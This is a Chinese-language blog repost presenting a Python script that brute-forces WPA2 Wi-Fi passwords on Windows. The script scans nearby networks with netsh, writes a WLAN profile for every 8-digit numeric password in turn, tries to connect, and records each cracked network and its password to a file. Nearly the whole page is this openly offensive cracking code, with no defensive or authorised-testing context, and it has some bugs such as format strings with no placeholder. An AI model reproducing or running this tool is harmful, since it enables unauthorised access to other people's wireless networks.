python调用wifi

import os

import re

import multiprocessing

import subprocess

from multiprocessing import Pool

import time

"""

netsh wlan set hostednetwork ssid=您想要的无线网络的名称 key=您想要设置的密码

设置共享

netsh wlan start hostednetwork

netsh wlan start hostednetwork

netsh wlan show hostednetwork 查看https://msdn.microsoft.com/zh-cn/library/ms706987

Netsh WLAN stop hostednetwork

NETSH INT IP RESE

netsh wlan show interfaces 查看连接状态

"""

def getHrefs(cont,r):

    c=re.compile(r)

    urlLists=re.findall(c,cont)

    z=len(urlLists)

    return urlLists,z


def do_sys(sys_command):

    

    p = subprocess.Popen(sys_command, shell=True,

                         stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

    info_str = ''

    for line in p.stdout.readlines():

        #print(line)

        info_str += line.decode('gbk','ignore')

    info_str = info_str.replace(r"\r\n'b'","")

    return info_str


def get_name_num():

    sys_command = 'netsh wlan show networks'   

    info_str = do_sys(sys_command)

    r = r'\d+\s:\s(.*?)\s'

    name_list = getHrefs(info_str, r)

    # wifi_list, num = name_list

    return name_list

    

          

def connet(wifi_name):

   print('正在尝试暴力破解wifi:', wifi_name)

   sys_command = 'netsh wlan connect ssid="%s" name="%s"'%(wifi_name,wifi_name)

   print(sys_command)

   return do_sys(sys_command)         

"""

def is_ok():

    sys_command = 'ping www.baidu.com -n 2'

    ret = do_sys(sys_command)

    if 'TTL' in ret:

        print('网络OK')

        return True

    print('无网络')

    return False

"""

def is_ok():

    sys_command = 'netsh wlan show interfaces'

    ret = do_sys(sys_command)

    #print(ret)

    if '已连接' in ret:

        print('破解成功')

        return True

    print('破解失败')

    return False

def format_hex(pwd):

    l = ''

    for i in str(pwd):

        j = ord(i)

        j = hex(j)

        l +=j

    return l.replace('0x','')


def save_profile(wifi_name, pwd):

    """ 配置文件设置"""

    profile_content = """<?xml version="1.0"?>

<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">

<name>%s</name>

<SSIDConfig>

<SSID>

<hex>%s</hex>

<name>%s</name>

</SSID>

</SSIDConfig>

<connectionType>ESS</connectionType>

<connectionMode>auto</connectionMode>

<MSM>

<security>

<authEncryption>

<authentication>WPA2PSK</authentication>

<encryption>AES</encryption>

<useOneX>false</useOneX>

</authEncryption>

<sharedKey>

<keyType>passPhrase</keyType>

<protected>false</protected>

<keyMaterial>%s</keyMaterial>

</sharedKey>

</security>

</MSM>

</WLANProfile>"""%(wifi_name, format_hex(wifi_name), wifi_name, pwd)

    wifi_list, num = get_name_num()

    file_name = wifi_list[0]+'-'+wifi_name+'.xml'

    with open(file_name,'w') as f:

        f.write(profile_content)

    file_path = os.getcwd() +'\\'+ file_name

    print(file_path)

    info_str = ''

    p = subprocess.Popen('netsh wlan add profile filename="%s"'%file_path, shell=True,

                         stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

    for line in p.stdout.readlines():

        # print('is ok?',line)

        pass

def get_pwd():

    # pwds = '7lk@admin '

    pwds = list()

    i = 10000000

    while i < 100000000:

        pwds.append(str(i))

        i +=1

        print(i)

    return pwds


def one_crack(wifi_name):

    start_time_pwd = time.time()

    pwds = get_pwd()

    end_time_pwd = time.time()

    print('create pwd_list cost time:'%(end_time_pwd-start_time_pwd))

    for pwd in pwds:

        save_profile(wifi_name, pwd)

        connet(wifi_name)

        time.sleep(1)

        if is_ok():

            msg = '破解成功#########wifi名称:%s,wifi密码:%s'%(wifi_name,pwd)

            print(msg)

            file_name = 'f已经被破解的wifi.txt'

            with open(file_name,'a+') as f:

                f.write(msg)

        else:

            print('破解失败!wifi名称:%s'%wifi_name)


def all_crack():

    wifi_list, num = get_name_num()

    pool = Pool(processes = num)

    for i in range(num):

        one_crack(wifi_list[i])

    

def main():

    #one_crack('bbb')

    all_crack()

 


if __name__ == '__main__':

    #get_name_num()

    #print(format_hex('aaa'))

    

    start_time = time.time()

    #main()

    get_pwd()

    end_time = time.time()

    print('create pwd_list cost time:'%(end_time-start_time))

    #is_ok()

    



转载于:https://my.oschina.net/u/2367514/blog/538492

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值